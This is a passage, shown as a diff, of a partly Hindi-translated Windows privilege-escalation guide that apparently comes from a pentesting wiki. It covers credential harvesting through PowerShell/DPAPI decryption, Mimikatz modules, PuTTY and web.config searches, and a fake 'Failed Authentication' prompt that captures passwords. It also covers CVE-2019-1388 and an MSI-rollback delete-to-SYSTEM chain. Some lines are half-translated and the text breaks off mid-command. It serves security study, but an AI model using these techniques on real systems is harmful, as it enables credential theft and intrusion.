dpapi-extracting-passwords.md ### PowerShell Credentials -**PowerShell credentials** अक्सर **scripting** और स्वचालन कार्यों के लिए एन्क्रिप्टेड क्रेडेंशियल्स को सुविधाजनक तरीके से स्टोर करने के लिए उपयोग किए जाते हैं। क्रेडेंशियल्स को **DPAPI** का उपयोग करके सुरक्षित किया जाता है, जिसका अर्थ है कि इन्हें केवल उसी उपयोगकर्ता द्वारा उसी कंप्यूटर पर डिक्रिप्ट किया जा सकता है जिस पर इन्हें बनाया गया था। +**PowerShell credentials** अक्सर **scripting** और स्वचालन कार्यों के लिए उपयोग किए जाते हैं, ताकि एन्क्रिप्टेड क्रेडेंशियल्स को सुविधाजनक तरीके से संग्रहीत किया जा सके। क्रेडेंशियल्स को **DPAPI** का उपयोग करके सुरक्षित किया जाता है, जिसका अर्थ है कि इन्हें केवल उसी उपयोगकर्ता द्वारा उसी कंप्यूटर पर डिक्रिप्ट किया जा सकता है जिस पर इन्हें बनाया गया था। -PS क्रेडेंशियल्स को उस फ़ाइल से डिक्रिप्ट करने के लिए जिसमें यह है, आप कर सकते हैं: +आप फ़ाइल से PS क्रेडेंशियल्स को **decrypt** करने के लिए कर सकते हैं: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -805,8 +811,8 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -**Mimikatz** `dpapi::rdg` मॉड्यूल का उपयोग करें उचित `/masterkey` के साथ **किसी भी .rdg फ़ाइलों को डिक्रिप्ट करने के लिए**\ -आप **Mimikatz** `sekurlsa::dpapi` मॉड्यूल के साथ मेमोरी से कई DPAPI मास्टरकीज़ **निकाल सकते हैं**। +Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ +You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module ### Sticky Notes @@ -816,9 +822,9 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU **ध्यान दें कि AppCmd.exe से पासवर्ड पुनर्प्राप्त करने के लिए आपको Administrator होना चाहिए और उच्च इंटीग्रिटी स्तर के तहत चलाना चाहिए।**\ **AppCmd.exe** `%systemroot%\system32\inetsrv\` निर्देशिका में स्थित है।\ -यदि यह फ़ाइल मौजूद है तो यह संभव है कि कुछ **क्रेडेंशियल्स** कॉन्फ़िगर किए गए हैं और उन्हें **पुनर्प्राप्त** किया जा सकता है। +यदि यह फ़ाइल मौजूद है तो संभव है कि कुछ **क्रेडेंशियल्स** कॉन्फ़िगर किए गए हैं और उन्हें **पुनर्प्राप्त** किया जा सकता है। -यह कोड [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) से निकाला गया था: +This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -899,15 +905,15 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM जांचें कि `C:\Windows\CCM\SCClient.exe` मौजूद है या नहीं।\ -इंस्टॉलर **SYSTEM विशेषाधिकारों के साथ चलाए जाते हैं**, कई **DLL Sideloading के लिए संवेदनशील होते हैं (जानकारी** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)।** +इंस्टॉलर **SYSTEM विशेषाधिकारों के साथ चलाए जाते हैं**, कई **DLL Sideloading के प्रति संवेदनशील हैं (जानकारी** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)।** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## फ़ाइलें और रजिस्ट्री (क्रेडेंशियल्स) +## फ़ाइलें और रजिस्ट्र्री (क्रेडेंशियल्स) -### Putty क्रेडेंशियल्स +### Putty क्रेड्स ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` @@ -921,14 +927,14 @@ SSH निजी कुंजी रजिस्ट्री कुंजी `HK ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -यदि आप उस पथ के अंदर कोई प्रविष्टि पाते हैं, तो यह संभवतः एक सहेजा गया SSH कुंजी होगी। यह एन्क्रिप्टेड रूप में संग्रहीत होती है लेकिन [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) का उपयोग करके इसे आसानी से डिक्रिप्ट किया जा सकता है।\ +यदि आप उस पथ के अंदर कोई प्रविष्टि पाते हैं, तो यह संभवतः एक सहेजा गया SSH कुंजी होगी। इसे एन्क्रिप्टेड रूप में संग्रहीत किया गया है लेकिन [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) का उपयोग करके इसे आसानी से डिक्रिप्ट किया जा सकता है।\ इस तकनीक के बारे में अधिक जानकारी यहाँ है: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) यदि `ssh-agent` सेवा चल नहीं रही है और आप चाहते हैं कि यह बूट पर स्वचालित रूप से शुरू हो, तो चलाएँ: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` -> [!NOTE] +> [!TIP] > ऐसा लगता है कि यह तकनीक अब मान्य नहीं है। मैंने कुछ ssh कुंजी बनाने की कोशिश की, उन्हें `ssh-add` के साथ जोड़ा और ssh के माध्यम से एक मशीन में लॉगिन किया। रजिस्ट्री HKCU\Software\OpenSSH\Agent\Keys मौजूद नहीं है और procmon ने विषम कुंजी प्रमाणीकरण के दौरान `dpapi.dll` के उपयोग की पहचान नहीं की। ### Unattended files @@ -1027,7 +1033,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -वेब.config का उदाहरण जिसमें क्रेडेंशियल्स हैं: +web.config में क्रेडेंशियल्स का उदाहरण: ```xml @@ -1067,7 +1073,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### Ask for credentials -You can always **ask the user to enter his credentials of even the credentials of a different user** if you think he can know them (notice that **asking** the client directly for the **credentials** is really **risky**): +You can always **ask the user to enter his credentials of even the credentials of a different user** if you think he can know them (notice that **asking** the client directly for the **credentials** is really **रिस्की**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1181,7 +1187,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### **COM DLL ओवरराइटिंग** -**कंपोनेंट ऑब्जेक्ट मॉडल (COM)** एक तकनीक है जो Windows ऑपरेटिंग सिस्टम के भीतर बनाई गई है जो विभिन्न भाषाओं के सॉफ़्टवेयर घटकों के बीच **अंतरसंवाद** की अनुमति देती है। प्रत्येक COM घटक को **क्लास ID (CLSID)** के माध्यम से **पहचान** की जाती है और प्रत्येक घटक एक या एक से अधिक इंटरफेस के माध्यम से कार्यक्षमता को उजागर करता है, जिसे इंटरफेस IDs (IIDs) के माध्यम से पहचाना जाता है। +**कंपोनेंट ऑब्जेक्ट मॉडल (COM)** एक तकनीक है जो Windows ऑपरेटिंग सिस्टम के भीतर बनाई गई है जो विभिन्न भाषाओं के सॉफ़्टवेयर घटकों के बीच **अंतरसंवाद** की अनुमति देती है। प्रत्येक COM घटक को **क्लास आईडी (CLSID)** के माध्यम से **पहचान** किया जाता है और प्रत्येक घटक एक या एक से अधिक इंटरफेस के माध्यम से कार्यक्षमता को उजागर करता है, जिसे इंटरफेस आईडी (IIDs) के माध्यम से पहचाना जाता है। COM वर्ग और इंटरफेस को रजिस्ट्री में **HKEY\CLASSES\ROOT\CLSID** और **HKEY\CLASSES\ROOT\Interface** के तहत परिभाषित किया गया है। यह रजिस्ट्री **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT** को मिलाकर बनाई गई है। @@ -1191,13 +1197,14 @@ COM वर्ग और इंटरफेस को रजिस्ट्री बुनियादी रूप से, यदि आप **किसी भी DLL को ओवरराइट** कर सकते हैं जो निष्पादित होने जा रही है, तो आप **अधिकार बढ़ा सकते हैं** यदि वह DLL किसी अन्य उपयोगकर्ता द्वारा निष्पादित होने जा रही है। -हमलावरों द्वारा COM Hijacking का उपयोग कैसे किया जाता है, यह जानने के लिए जांचें: +यह जानने के लिए कि हमलावर COM Hijacking का उपयोग कैसे करते हैं, एक स्थायी तंत्र के रूप में जांचें: + {{#ref}} com-hijacking.md {{#endref}} -### **फाइलों और रजिस्ट्री में सामान्य पासवर्ड खोज** +### **फाइलों और रजिस्ट्री में सामान्य पासवर्ड खोजें** **फाइल सामग्री के लिए खोजें** ```bash @@ -1218,13 +1225,13 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Tools that search for passwords +### पासवर्ड खोजने वाले उपकरण -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **एक msf** प्लगइन है जिसे मैंने **स्वचालित रूप से हर metasploit POST मॉड्यूल को निष्पादित करने के लिए बनाया है जो पीड़ित के अंदर क्रेडेंशियल्स की खोज करता है।**\ +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **एक msf** प्लगइन है जिसे मैंने **शिकार पर क्रेडेंशियल्स की खोज करने वाले हर metasploit POST मॉड्यूल को स्वचालित रूप से निष्पादित करने के लिए बनाया है**।\ [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) स्वचालित रूप से इस पृष्ठ में उल्लिखित पासवर्ड वाले सभी फ़ाइलों की खोज करता है।\ [**Lazagne**](https://github.com/AlessandroZ/LaZagne) एक और शानदार उपकरण है जो सिस्टम से पासवर्ड निकालता है। -उपकरण [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **सत्रों**, **उपयोगकर्ता नामों** और **पासवर्डों** की खोज करता है कई उपकरणों के जो इस डेटा को स्पष्ट पाठ में सहेजते हैं (PuTTY, WinSCP, FileZilla, SuperPuTTY, और RDP) +उपकरण [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **सत्रों**, **उपयोगकर्ता नामों** और **पासवर्डों** की खोज करता है जो कई उपकरणों द्वारा स्पष्ट पाठ में सहेजे जाते हैं (PuTTY, WinSCP, FileZilla, SuperPuTTY, और RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1233,18 +1240,18 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## लीक हुए हैंडल -कल्पना करें कि **एक प्रक्रिया जो SYSTEM के रूप में चल रही है, एक नई प्रक्रिया खोलती है** (`OpenProcess()`) **पूर्ण पहुंच के साथ**। वही प्रक्रिया **एक नई प्रक्रिया भी बनाती है** (`CreateProcess()`) **कम विशेषाधिकार के साथ लेकिन मुख्य प्रक्रिया के सभी खुले हैंडल को विरासत में लेती है**।\ -फिर, यदि आपके पास **कम विशेषाधिकार वाली प्रक्रिया तक पूर्ण पहुंच है**, तो आप **विशेषाधिकार प्राप्त प्रक्रिया के लिए खोले गए हैंडल को पकड़ सकते हैं** जो `OpenProcess()` के साथ बनाई गई है और **एक शेलकोड इंजेक्ट कर सकते हैं**।\ +कल्पना करें कि **एक प्रक्रिया जो SYSTEM के रूप में चल रही है एक नई प्रक्रिया खोलती है** (`OpenProcess()`) **पूर्ण पहुंच के साथ**। वही प्रक्रिया **एक नई प्रक्रिया भी बनाती है** (`CreateProcess()`) **कम विशेषाधिकार के साथ लेकिन मुख्य प्रक्रिया के सभी खुले हैंडल को विरासत में लेती है**।\ +फिर, यदि आपके पास **कम विशेषाधिकार वाली प्रक्रिया तक पूर्ण पहुंच है**, तो आप **विशेषाधिकार प्राप्त प्रक्रिया के लिए खोले गए हैंडल को पकड़ सकते हैं** जो `OpenProcess()` के साथ बनाई गई थी और **एक शेलकोड इंजेक्ट कर सकते हैं**।\ [इस उदाहरण को पढ़ें अधिक जानकारी के लिए **इस कमजोरियों का पता लगाने और शोषण करने के तरीके के बारे में**।](leaked-handle-exploitation.md)\ -[इस **अन्य पोस्ट को पढ़ें अधिक पूर्ण व्याख्या के लिए कि कैसे परीक्षण करें और विभिन्न स्तरों के अनुमतियों (केवल पूर्ण पहुंच नहीं) के साथ विरासत में मिले प्रक्रियाओं और थ्रेड्स के अधिक खुले हैंडल का दुरुपयोग करें**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +[इस **अन्य पोस्ट को पढ़ें अधिक पूर्ण व्याख्या के लिए कि कैसे परीक्षण करें और विभिन्न स्तरों के अनुमतियों (केवल पूर्ण पहुंच नहीं) के साथ विरासत में मिले प्रक्रियाओं और थ्रेड्स के अधिक खुले हैंडल का दुरुपयोग करें**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)। ## नामित पाइप क्लाइंट अनुकरण -साझा मेमोरी खंड, जिसे **पाइप** कहा जाता है, प्रक्रिया संचार और डेटा स्थानांतरण की अनुमति देता है। +साझा मेमोरी खंड, जिसे **पाइप** कहा जाता है, प्रक्रिया संचार और डेटा स्थानांतरण की अनुमति देते हैं। Windows एक सुविधा प्रदान करता है जिसे **Named Pipes** कहा जाता है, जो असंबंधित प्रक्रियाओं को डेटा साझा करने की अनुमति देता है, यहां तक कि विभिन्न नेटवर्कों पर भी। यह एक क्लाइंट/सर्वर आर्किटेक्चर के समान है, जिसमें भूमिकाएँ **नामित पाइप सर्वर** और **नामित पाइप क्लाइंट** के रूप में परिभाषित की गई हैं। -जब एक **क्लाइंट** द्वारा पाइप के माध्यम से डेटा भेजा जाता है, तो **सर्वर** जिसने पाइप सेट किया है, **क्लाइंट की पहचान** अपनाने की क्षमता रखता है, बशर्ते कि उसके पास आवश्यक **SeImpersonate** अधिकार हों। एक **विशेषाधिकार प्राप्त प्रक्रिया** की पहचान करना जो एक पाइप के माध्यम से संवाद करती है जिसे आप अनुकरण कर सकते हैं, आपको **उच्च विशेषाधिकार प्राप्त करने** का अवसर प्रदान करता है जब वह प्रक्रिया उस पाइप के साथ बातचीत करती है जिसे आपने स्थापित किया है। इस तरह के हमले को निष्पादित करने के लिए निर्देशों के लिए, सहायक मार्गदर्शिकाएँ [**यहां**](named-pipe-client-impersonation.md) और [**यहां**](#from-high-integrity-to-system) मिल सकती हैं। +जब डेटा एक पाइप के माध्यम से **क्लाइंट** द्वारा भेजा जाता है, तो **सर्वर** जिसने पाइप सेट किया है, **क्लाइंट की पहचान** अपनाने की क्षमता रखता है, बशर्ते कि उसके पास आवश्यक **SeImpersonate** अधिकार हों। एक **विशेषाधिकार प्राप्त प्रक्रिया** की पहचान करना जो एक पाइप के माध्यम से संवाद करती है जिसे आप अनुकरण कर सकते हैं, आपको **उच्च विशेषाधिकार प्राप्त करने** का अवसर प्रदान करता है जब वह प्रक्रिया उस पाइप के साथ बातचीत करती है जिसे आपने स्थापित किया है। इस तरह के हमले को निष्पादित करने के लिए निर्देशों के लिए, सहायक मार्गदर्शिकाएँ [**यहां**](named-pipe-client-impersonation.md) और [**यहां**](#from-high-integrity-to-system) मिल सकती हैं। इसके अलावा, निम्नलिखित उपकरण **burp जैसे उपकरण के साथ नामित पाइप संचार को इंटरसेप्ट करने की अनुमति देता है:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **और यह उपकरण सभी पाइपों को सूचीबद्ध करने और देखने की अनुमति देता है ताकि privescs को खोजा जा सके** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) @@ -1256,7 +1263,7 @@ Windows एक सुविधा प्रदान करता है जि ### **पासवर्ड के लिए कमांड लाइनों की निगरानी** -जब एक उपयोगकर्ता के रूप में शेल प्राप्त करते हैं, तो कुछ शेड्यूल किए गए कार्य या अन्य प्रक्रियाएँ चल रही हो सकती हैं जो **कमांड लाइन पर क्रेडेंशियल्स पास करती हैं**। नीचे दिया गया स्क्रिप्ट हर दो सेकंड में प्रक्रिया कमांड लाइनों को कैप्चर करता है और वर्तमान स्थिति की तुलना पिछले स्थिति से करता है, किसी भी अंतर को आउटपुट करता है। +जब एक उपयोगकर्ता के रूप में शेल प्राप्त करते हैं, तो कुछ शेड्यूल किए गए कार्य या अन्य प्रक्रियाएँ चल रही हो सकती हैं जो **कमांड लाइन पर क्रेडेंशियल्स पास करती हैं**। नीचे दिया गया स्क्रिप्ट हर दो सेकंड में प्रक्रिया की कमांड लाइनों को कैप्चर करता है और वर्तमान स्थिति की तुलना पिछले स्थिति से करता है, किसी भी अंतर को आउटपुट करता है। ```bash while($true) { @@ -1266,13 +1273,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## प्रक्रियाओं से पासवर्ड चुराना +## पासवर्ड चुराना प्रक्रियाओं से -## कम विशेषाधिकार उपयोगकर्ता से NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC बायपास +## लो प्रिविलेज यूजर से NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC बायपास -यदि आपके पास ग्राफिकल इंटरफेस (कंसोल या RDP के माध्यम से) तक पहुंच है और UAC सक्षम है, तो Microsoft Windows के कुछ संस्करणों में, एक गैर-विशेषाधिकार उपयोगकर्ता से "NT\AUTHORITY SYSTEM" जैसे किसी भी प्रक्रिया या टर्मिनल को चलाना संभव है। +यदि आपके पास ग्राफिकल इंटरफेस (कंसोल या RDP के माध्यम से) तक पहुंच है और UAC सक्षम है, तो Microsoft Windows के कुछ संस्करणों में एक अनधिकृत उपयोगकर्ता से "NT\AUTHORITY SYSTEM" जैसे किसी भी अन्य प्रक्रिया को चलाना संभव है। -यह विशेषाधिकारों को बढ़ाने और एक ही समय में उसी भेद्यता के साथ UAC को बायपास करने की अनुमति देता है। इसके अलावा, कुछ भी स्थापित करने की आवश्यकता नहीं है और प्रक्रिया के दौरान उपयोग किया जाने वाला बाइनरी Microsoft द्वारा हस्ताक्षरित और जारी किया गया है। +यह प्रिविलेज को बढ़ाने और एक ही समय में उसी भेद्यता के साथ UAC को बायपास करने की अनुमति देता है। इसके अलावा, कुछ भी स्थापित करने की आवश्यकता नहीं है और प्रक्रिया के दौरान उपयोग किया जाने वाला बाइनरी Microsoft द्वारा हस्ताक्षरित और जारी किया गया है। कुछ प्रभावित सिस्टम निम्नलिखित हैं: ``` @@ -1296,7 +1303,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -इस कमजोरियों का लाभ उठाने के लिए, निम्नलिखित चरणों को पूरा करना आवश्यक है: +इस कमजोरियों का लाभ उठाने के लिए, निम्नलिखित चरणों को करना आवश्यक है: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1320,7 +1327,8 @@ https://github.com/jas502n/CVE-2019-1388 ## व्यवस्थापक मध्यम से उच्च अखंडता स्तर / UAC बायपास -**अखंडता स्तरों के बारे में जानने के लिए इसे पढ़ें:** +**अखंडता स्तरों** के बारे में जानने के लिए इसे पढ़ें: + {{#ref}} integrity-levels.md @@ -1328,63 +1336,226 @@ integrity-levels.md फिर **UAC और UAC बायपास के बारे में जानने के लिए इसे पढ़ें:** + {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} +## मनमाने फ़ोल्डर को हटाने/स्थानांतरित करने/नाम बदलने से SYSTEM EoP तक + +इस तकनीक का वर्णन [**इस ब्लॉग पोस्ट में**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) किया गया है जिसमें एक शोषण कोड [**यहां उपलब्ध है**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). + +हमला मूल रूप से Windows Installer की रोलबैक सुविधा का दुरुपयोग करने पर आधारित है ताकि अनइंस्टॉलेशन प्रक्रिया के दौरान वैध फ़ाइलों को दुर्भावनापूर्ण फ़ाइलों से प्रतिस्थापित किया जा सके। इसके लिए हमलावर को एक **दुर्भावनापूर्ण MSI इंस्टॉलर** बनाने की आवश्यकता होती है जिसका उपयोग `C:\Config.Msi` फ़ोल्डर को हाईजैक करने के लिए किया जाएगा, जिसे बाद में Windows Installer अन्य MSI पैकेजों के अनइंस्टॉलेशन के दौरान रोलबैक फ़ाइलों को संग्रहीत करने के लिए उपयोग करेगा जहां रोलबैक फ़ाइलों को दुर्भावनापूर्ण पेलोड के साथ संशोधित किया गया होगा। + +संक्षिप्त तकनीक निम्नलिखित है: + +1. **चरण 1 – हाईजैक के लिए तैयारी (छोड़ें `C:\Config.Msi` खाली)** + +- चरण 1: MSI इंस्टॉल करें +- एक `.msi` बनाएं जो एक हानिरहित फ़ाइल (जैसे, `dummy.txt`) को एक लिखने योग्य फ़ोल्डर (`TARGETDIR`) में इंस्टॉल करता है। +- इंस्टॉलर को **"UAC अनुपालन"** के रूप में चिह्नित करें, ताकि एक **गैर-व्यवस्थापक उपयोगकर्ता** इसे चला सके। +- इंस्टॉलेशन के बाद फ़ाइल के लिए एक **हैंडल** खुला रखें। + +- चरण 2: अनइंस्टॉल शुरू करें +- उसी `.msi` को अनइंस्टॉल करें। +- अनइंस्टॉलेशन प्रक्रिया फ़ाइलों को `C:\Config.Msi` में स्थानांतरित करना शुरू करती है और उन्हें `.rbf` फ़ाइलों (रोलबैक बैकअप) के रूप में नामित करती है। +- **खुले फ़ाइल हैंडल की निगरानी करें** `GetFinalPathNameByHandle` का उपयोग करके यह पता लगाने के लिए कि फ़ाइल कब `C:\Config.Msi\.rbf` बन जाती है। + +- चरण 3: कस्टम सिंकिंग +- `.msi` में एक **कस्टम अनइंस्टॉल क्रिया (`SyncOnRbfWritten`)** शामिल है जो: +- संकेत देती है जब `.rbf` लिखा गया है। +- फिर **अनइंस्टॉल जारी रखने से पहले** एक अन्य घटना पर **इंतज़ार करती है**। + +- चरण 4: `.rbf` के हटाने को अवरुद्ध करें +- जब संकेत दिया जाए, तो **`.rbf` फ़ाइल खोलें** बिना `FILE_SHARE_DELETE` के — यह **इसे हटाने से रोकता है**। +- फिर **संकेत वापस दें** ताकि अनइंस्टॉल पूरा हो सके। +- Windows Installer `.rbf` को हटाने में विफल रहता है, और चूंकि यह सभी सामग्री को हटा नहीं सकता, **`C:\Config.Msi` को नहीं हटाया जाता**। + +- चरण 5: मैन्युअल रूप से `.rbf` हटाएं +- आप (हमलावर) मैन्युअल रूप से `.rbf` फ़ाइल को हटाते हैं। +- अब **`C:\Config.Msi` खाली है**, हाईजैक करने के लिए तैयार है। + +> इस बिंदु पर, **SYSTEM-स्तरीय मनमाने फ़ोल्डर हटाने की भेद्यता को सक्रिय करें** ताकि `C:\Config.Msi` को हटाया जा सके। + +2. **चरण 2 – रोलबैक स्क्रिप्ट को दुर्भावनापूर्ण के साथ प्रतिस्थापित करना** + +- चरण 6: कमजोर ACL के साथ `C:\Config.Msi` फिर से बनाएं +- स्वयं `C:\Config.Msi` फ़ोल्डर को फिर से बनाएं। +- **कमजोर DACLs** सेट करें (जैसे, Everyone:F), और **एक हैंडल खुला रखें** `WRITE_DAC` के साथ। + +- चरण 7: एक और इंस्टॉल चलाएं +- फिर से `.msi` इंस्टॉल करें, के साथ: +- `TARGETDIR`: लिखने योग्य स्थान। +- `ERROROUT`: एक चर जो एक मजबूर विफलता को सक्रिय करता है। +- यह इंस्टॉल **रोलबैक** को फिर से सक्रिय करने के लिए उपयोग किया जाएगा, जो `.rbs` और `.rbf` को पढ़ता है। + +- चरण 8: `.rbs` के लिए निगरानी करें +- `ReadDirectoryChangesW` का उपयोग करें `C:\Config.Msi` की निगरानी करने के लिए जब तक एक नया `.rbs` प्रकट नहीं होता। +- इसके फ़ाइल नाम को कैप्चर करें। + +- चरण 9: रोलबैक से पहले सिंक करें +- `.msi` में एक **कस्टम इंस्टॉल क्रिया (`SyncBeforeRollback`)** शामिल है जो: +- संकेत देती है जब `.rbs` बनाई जाती है। +- फिर **जारी रखने से पहले** **इंतज़ार करती है**। + +- चरण 10: कमजोर ACL फिर से लागू करें +- `.rbs बनाई गई` घटना प्राप्त करने के बाद: +- Windows Installer `C:\Config.Msi` पर **मजबूत ACLs फिर से लागू करता है**। +- लेकिन चूंकि आपके पास अभी भी `WRITE_DAC` के साथ एक हैंडल है, आप **फिर से कमजोर ACLs लागू कर सकते हैं**। + +> ACLs **केवल हैंडल खोलने पर लागू होते हैं**, इसलिए आप अभी भी फ़ोल्डर में लिख सकते हैं। + +- चरण 11: नकली `.rbs` और `.rbf` छोड़ें +- `.rbs` फ़ाइल को एक **नकली रोलबैक स्क्रिप्ट** के साथ ओवरराइट करें जो Windows को बताती है: +- आपकी `.rbf` फ़ाइल (दुर्भावनापूर्ण DLL) को एक **विशिष्ट स्थान** (जैसे, `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`) में पुनर्स्थापित करें। +- आपकी नकली `.rbf` छोड़ें जिसमें एक **दुर्भावनापूर्ण SYSTEM-स्तरीय पेलोड DLL** हो। + +- चरण 12: रोलबैक को सक्रिय करें +- सिंक इवेंट को संकेत दें ताकि इंस्टॉलर फिर से शुरू हो सके। +- एक **प्रकार 19 कस्टम क्रिया (`ErrorOut`)** को **जानबूझकर इंस्टॉल को विफल करने** के लिए कॉन्फ़िगर किया गया है। +- इससे **रोलबैक शुरू होता है**। + +- चरण 13: SYSTEM आपके DLL को इंस्टॉल करता है +- Windows Installer: +- आपकी दुर्भावनापूर्ण `.rbs` को पढ़ता है। +- आपकी `.rbf` DLL को लक्षित स्थान में कॉपी करता है। +- अब आपके पास एक **दुर्भावनापूर्ण DLL एक SYSTEM-लोडेड पथ में** है। + +- अंतिम चरण: SYSTEM कोड निष्पादित करें +- एक विश्वसनीय **ऑटो-उन्नत बाइनरी** (जैसे, `osk.exe`) चलाएं जो उस DLL को लोड करता है जिसे आपने हाईजैक किया था। +- **बूम**: आपका कोड **SYSTEM के रूप में निष्पादित होता है**। + + +### मनमाने फ़ाइल को हटाने/स्थानांतरित करने/नाम बदलने से SYSTEM EoP तक + +मुख्य MSI रोलबैक तकनीक (पिछली) मानती है कि आप एक **पूर्ण फ़ोल्डर** (जैसे, `C:\Config.Msi`) को हटा सकते हैं। लेकिन अगर आपकी भेद्यता केवल **मनमाने फ़ाइल हटाने** की अनुमति देती है तो क्या होगा? + +आप **NTFS आंतरिक** का शोषण कर सकते हैं: हर फ़ोल्डर में एक छिपा हुआ वैकल्पिक डेटा स्ट्रीम होता है जिसे कहा जाता है: +``` +C:\SomeFolder::$INDEX_ALLOCATION +``` +यह स्ट्रीम फ़ोल्डर के **सूचकांक मेटाडेटा** को संग्रहीत करता है। + +तो, यदि आप फ़ोल्डर का **`::$INDEX_ALLOCATION` स्ट्रीम** हटा देते हैं, तो NTFS **फाइल सिस्टम से पूरा फ़ोल्डर हटा देता है**। + +आप इसे मानक फ़ाइल हटाने के APIs का उपयोग करके कर सकते हैं जैसे: +```c +DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); +``` +> भले ही आप एक *फाइल* डिलीट API को कॉल कर रहे हों, यह **फोल्डर को स्वयं डिलीट कर देता है**। + +### फोल्डर सामग्री डिलीट से SYSTEM EoP तक +क्या होगा यदि आपकी प्राइमिटिव आपको मनमाने फाइल/फोल्डर को डिलीट करने की अनुमति नहीं देती, लेकिन यह **एक हमलावर-नियंत्रित फोल्डर की *सामग्री* को डिलीट करने की अनुमति देती है**? + +1. चरण 1: एक बाइट फोल्डर और फाइल सेटअप करें +- बनाएं: `C:\temp\folder1` +- इसके अंदर: `C:\temp\folder1\file1.txt` + +2. चरण 2: `file1.txt` पर एक **oplock** रखें +- oplock **कार्यवाही को रोकता है** जब एक विशेषाधिकार प्राप्त प्रक्रिया `file1.txt` को डिलीट करने की कोशिश करती है। +```c +// pseudo-code +RequestOplock("C:\\temp\\folder1\\file1.txt"); +WaitForDeleteToTriggerOplock(); +``` +3. चरण 3: SYSTEM प्रक्रिया को ट्रिगर करें (जैसे, `SilentCleanup`) +- यह प्रक्रिया फ़ोल्डरों को स्कैन करती है (जैसे, `%TEMP%`) और उनके सामग्री को हटाने की कोशिश करती है। +- जब यह `file1.txt` पर पहुँचती है, तो **oplock ट्रिगर** होता है और नियंत्रण आपके callback को सौंप दिया जाता है। + +4. चरण 4: oplock callback के अंदर – हटाने को पुनर्निर्देशित करें + +- विकल्प A: `file1.txt` को कहीं और ले जाएँ +- यह `folder1` को oplock को तोड़े बिना खाली कर देता है। +- `file1.txt` को सीधे न हटाएँ — इससे oplock समय से पहले रिलीज़ हो जाएगा। + +- विकल्प B: `folder1` को **junction** में परिवर्तित करें: +```bash +# folder1 is now a junction to \RPC Control (non-filesystem namespace) +mklink /J C:\temp\folder1 